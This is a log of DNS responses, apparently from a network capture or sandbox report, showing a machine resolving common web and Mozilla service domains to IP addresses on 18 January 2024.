Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.250.65.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.251.35.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.250.80.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.250.80.46	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.250.65.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.166671991 CET	1.1.1.1	192.168.2.6	0x68e1	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:35.166671991 CET	1.1.1.1	192.168.2.6	0x68e1	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:35.166671991 CET	1.1.1.1	192.168.2.6	0x68e1	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:35.166671991 CET	1.1.1.1	192.168.2.6	0x68e1	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:36.388390064 CET	1.1.1.1	192.168.2.6	0x8ccc	No error (0)	contile.services.mozilla.com		34.117.237.239	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.426279068 CET	1.1.1.1	192.168.2.6	0xc2fc	No error (0)	spocs.getpocket.com	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:36.426279068 CET	1.1.1.1	192.168.2.6	0xc2fc	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		54.205.248.223	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.426279068 CET	1.1.1.1	192.168.2.6	0xc2fc	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		44.207.80.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.426279068 CET	1.1.1.1	192.168.2.6	0xc2fc	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		54.159.216.72	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.426279068 CET	1.1.1.1	192.168.2.6	0xc2fc	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		44.197.73.21	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.426279068 CET	1.1.1.1	192.168.2.6	0xc2fc	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		18.235.58.129	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.426279068 CET	1.1.1.1	192.168.2.6	0xc2fc	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		35.171.113.32	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.426279068 CET	1.1.1.1	192.168.2.6	0xc2fc	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		3.219.12.119	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.426279068 CET	1.1.1.1	192.168.2.6	0xc2fc	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		3.226.113.99	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.449989080 CET	1.1.1.1	192.168.2.6	0xc729	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:36.449989080 CET	1.1.1.1	192.168.2.6	0xc729	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:36.449989080 CET	1.1.1.1	192.168.2.6	0xc729	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.521006107 CET	1.1.1.1	192.168.2.6	0xfb9e	No error (0)	contile.services.mozilla.com		34.117.237.239	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.522912025 CET	1.1.1.1	192.168.2.6	0x7f98	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		18.235.58.129	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.522912025 CET	1.1.1.1	192.168.2.6	0x7f98	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		35.171.113.32	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.522912025 CET	1.1.1.1	192.168.2.6	0x7f98	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		3.214.112.20	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.522912025 CET	1.1.1.1	192.168.2.6	0x7f98	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		52.0.88.169	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.522912025 CET	1.1.1.1	192.168.2.6	0x7f98	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		54.159.216.72	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.522912025 CET	1.1.1.1	192.168.2.6	0x7f98	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		18.215.61.248	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.522912025 CET	1.1.1.1	192.168.2.6	0x7f98	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		54.205.248.223	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.522912025 CET	1.1.1.1	192.168.2.6	0x7f98	No error (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com		3.219.12.119	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.739099979 CET	1.1.1.1	192.168.2.6	0xcc1b	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.829751015 CET	1.1.1.1	192.168.2.6	0x7c3d	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Jan 18, 2024 00:35:37.012720108 CET	1.1.1.1	192.168.2.6	0x6324	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:37.928962946 CET	1.1.1.1	192.168.2.6	0x530a	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:37.966825962 CET	1.1.1.1	192.168.2.6	0x315e	No error (0)	mitmdetection.services.mozilla.com		13.226.34.9	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:37.966825962 CET	1.1.1.1	192.168.2.6	0x315e	No error (0)	mitmdetection.services.mozilla.com		13.226.34.13	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:37.966825962 CET	1.1.1.1	192.168.2.6	0x315e	No error (0)	mitmdetection.services.mozilla.com		13.226.34.86	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:37.966825962 CET	1.1.1.1	192.168.2.6	0x315e	No error (0)	mitmdetection.services.mozilla.com		13.226.34.75	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:38.086592913 CET	1.1.1.1	192.168.2.6	0xf50e	No error (0)	mitmdetection.services.mozilla.com		13.226.34.13	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:38.086592913 CET	1.1.1.1	192.168.2.6	0xf50e	No error (0)	mitmdetection.services.mozilla.com		13.226.34.75	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:38.086592913 CET	1.1.1.1	192.168.2.6	0xf50e	No error (0)	mitmdetection.services.mozilla.com		13.226.34.86	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:38.086592913 CET	1.1.1.1	192.168.2.6	0xf50e	No error (0)	mitmdetection.services.mozilla.com		13.226.34.9	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:38.184688091 CET	1.1.1.1	192.168.2.6	0xf475	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:38.184688091 CET	1.1.1.1	192.168.2.6	0xf475	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:38.184688091 CET	1.1.1.1	192.168.2.6	0xf475	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:38.184688091 CET	1.1.1.1	192.168.2.6	0xf475	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:38.184688091 CET	1.1.1.1	192.168.2.6	0xf475	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:38.184688091 CET	1.1.1.1	192.168.2.6	0xf475	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:38.184688091 CET	1.1.1.1	192.168.2.6	0xf475	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:38.184688091 CET	1.1.1.1	192.168.2.6	0xf475	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:38.441176891 CET	1.1.1.1	192.168.2.6	0x7cd2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:38.441176891 CET	1.1.1.1	192.168.2.6	0x7cd2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.312716961 CET	1.1.1.1	192.168.2.6	0x31f7	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:39.312716961 CET	1.1.1.1	192.168.2.6	0x31f7	No error (0)	dyna.wikimedia.org		208.80.154.224	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.313771009 CET	1.1.1.1	192.168.2.6	0x2267	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:39.313771009 CET	1.1.1.1	192.168.2.6	0x2267	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.314766884 CET	1.1.1.1	192.168.2.6	0xde52	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:39.314766884 CET	1.1.1.1	192.168.2.6	0xde52	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.314766884 CET	1.1.1.1	192.168.2.6	0xde52	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.314766884 CET	1.1.1.1	192.168.2.6	0xde52	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.314766884 CET	1.1.1.1	192.168.2.6	0xde52	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.420850992 CET	1.1.1.1	192.168.2.6	0x42a1	No error (0)	star-mini.c10r.facebook.com		31.13.71.36	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.421878099 CET	1.1.1.1	192.168.2.6	0xaaf2	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.421878099 CET	1.1.1.1	192.168.2.6	0xaaf2	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.421878099 CET	1.1.1.1	192.168.2.6	0xaaf2	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.421878099 CET	1.1.1.1	192.168.2.6	0xaaf2	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.422487974 CET	1.1.1.1	192.168.2.6	0x1b1	No error (0)	dyna.wikimedia.org		208.80.154.224	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.510960102 CET	1.1.1.1	192.168.2.6	0x882a	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:39.513865948 CET	1.1.1.1	192.168.2.6	0x84c3	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Jan 18, 2024 00:35:39.613579035 CET	1.1.1.1	192.168.2.6	0xcf06	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.712691069 CET	1.1.1.1	192.168.2.6	0xf4f5	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.719189882 CET	1.1.1.1	192.168.2.6	0x25e9	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.719189882 CET	1.1.1.1	192.168.2.6	0x25e9	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.719189882 CET	1.1.1.1	192.168.2.6	0x25e9	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.719189882 CET	1.1.1.1	192.168.2.6	0x25e9	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.807497025 CET	1.1.1.1	192.168.2.6	0x3e95	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.818994045 CET	1.1.1.1	192.168.2.6	0x95f	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:39.818994045 CET	1.1.1.1	192.168.2.6	0x95f	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:39.818994045 CET	1.1.1.1	192.168.2.6	0x95f	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.251.32.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.250.72.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.250.65.246	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.251.40.182	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.251.41.22	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.250.64.86	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.251.35.182	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.250.80.86	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.251.40.150	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.250.80.54	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.250.81.246	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.250.65.214	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.250.65.182	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.250.80.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.251.40.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.899708033 CET	1.1.1.1	192.168.2.6	0x448e	No error (0)	i.ytimg.com		142.250.80.22	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.946980953 CET	1.1.1.1	192.168.2.6	0x7e65	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.979255915 CET	1.1.1.1	192.168.2.6	0x7eeb	No error (0)	pki-goog.l.google.com		142.250.80.99	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.250.80.54	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.250.72.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.251.40.246	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.250.65.246	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.250.65.214	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.250.80.86	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.251.40.150	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.250.81.246	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.251.40.182	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.251.40.214	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.251.32.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.250.64.86	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.251.40.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.250.65.182	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.251.41.22	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.995966911 CET	1.1.1.1	192.168.2.6	0xf419	No error (0)	i.ytimg.com		142.251.35.182	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:40.085479021 CET	1.1.1.1	192.168.2.6	0xe130	No error (0)	i.ytimg.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:40.085479021 CET	1.1.1.1	192.168.2.6	0xe130	No error (0)	i.ytimg.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:40.085479021 CET	1.1.1.1	192.168.2.6	0xe130	No error (0)	i.ytimg.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:40.085479021 CET	1.1.1.1	192.168.2.6	0xe130	No error (0)	i.ytimg.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:40.093097925 CET	1.1.1.1	192.168.2.6	0x5a8f	No error (0)	pki-goog.l.google.com		142.251.40.163	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:40.184660912 CET	1.1.1.1	192.168.2.6	0x5ef8	No error (0)	pki-goog.l.google.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:40.571902037 CET	1.1.1.1	192.168.2.6	0x7e43	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:43.883385897 CET	1.1.1.1	192.168.2.6	0x3e5c	No error (0)	www.google.com		142.251.35.164	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:43.979243994 CET	1.1.1.1	192.168.2.6	0x148	No error (0)	www.google.com		142.251.40.164	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:44.068155050 CET	1.1.1.1	192.168.2.6	0x148	No error (0)	www.google.com		142.251.40.164	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:44.070063114 CET	1.1.1.1	192.168.2.6	0x4bf2	No error (0)	www.google.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:44.146584034 CET	1.1.1.1	192.168.2.6	0x4534	No error (0)	rr2---sn-q4fl6nz6.googlevideo.com	rr2.sn-q4fl6nz6.googlevideo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:44.146584034 CET	1.1.1.1	192.168.2.6	0x4534	No error (0)	rr2.sn-q4fl6nz6.googlevideo.com		173.194.57.39	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:44.149403095 CET	1.1.1.1	192.168.2.6	0x5b60	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:44.236915112 CET	1.1.1.1	192.168.2.6	0x4534	No error (0)	rr2---sn-q4fl6nz6.googlevideo.com	rr2.sn-q4fl6nz6.googlevideo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:44.236915112 CET	1.1.1.1	192.168.2.6	0x4534	No error (0)	rr2.sn-q4fl6nz6.googlevideo.com		173.194.57.39	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:44.248065948 CET	1.1.1.1	192.168.2.6	0x4c54	No error (0)	rr2.sn-q4fl6nz6.googlevideo.com		173.194.57.39	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:44.339740038 CET	1.1.1.1	192.168.2.6	0x6b72	No error (0)	rr2.sn-q4fl6nz6.googlevideo.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:44.765321016 CET	1.1.1.1	192.168.2.6	0xa4a8	No error (0)	rr2---sn-q4fl6nz6.googlevideo.com	rr2.sn-q4fl6nz6.googlevideo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:44.765321016 CET	1.1.1.1	192.168.2.6	0xa4a8	No error (0)	rr2.sn-q4fl6nz6.googlevideo.com		173.194.57.39	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:36:15.435461044 CET	1.1.1.1	192.168.2.6	0x3095	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:36:57.760184050 CET	1.1.1.1	192.168.2.6	0x5f54	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:37:09.122963905 CET	1.1.1.1	192.168.2.6	0x3368	No error (0)	chrome.cloudflare-dns.com		104.18.23.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:37:09.122963905 CET	1.1.1.1	192.168.2.6	0x3368	No error (0)	chrome.cloudflare-dns.com		104.18.22.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:37:09.122989893 CET	1.1.1.1	192.168.2.6	0x861a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 18, 2024 00:37:11.951244116 CET	1.1.1.1	192.168.2.6	0xa7a4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:37:11.951244116 CET	1.1.1.1	192.168.2.6	0xa7a4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:37:38.645101070 CET	1.1.1.1	192.168.2.6	0x5dfa	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:37:38.645101070 CET	1.1.1.1	192.168.2.6	0x5dfa	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:08.618911982 CET	1.1.1.1	192.168.2.6	0x680d	No error (0)	youtube.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:08.709378004 CET	1.1.1.1	192.168.2.6	0xe3e3	No error (0)	youtube.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:08.798863888 CET	1.1.1.1	192.168.2.6	0x2c68	No error (0)	youtube.com			28	IN (0x0001)	false
Jan 18, 2024 00:38:18.105748892 CET	1.1.1.1	192.168.2.6	0x9e05	No error (0)	chrome.cloudflare-dns.com		104.18.23.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:18.105748892 CET	1.1.1.1	192.168.2.6	0x9e05	No error (0)	chrome.cloudflare-dns.com		104.18.22.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:18.106184959 CET	1.1.1.1	192.168.2.6	0x7c9d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 18, 2024 00:38:18.627799034 CET	1.1.1.1	192.168.2.6	0xa4a8	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:38:18.721973896 CET	1.1.1.1	192.168.2.6	0x8c3e	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.250.65.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.250.80.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.250.176.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.251.35.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.250.81.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.251.40.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.250.65.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.250.80.14	A (IP address)	IN (0x0001)	false
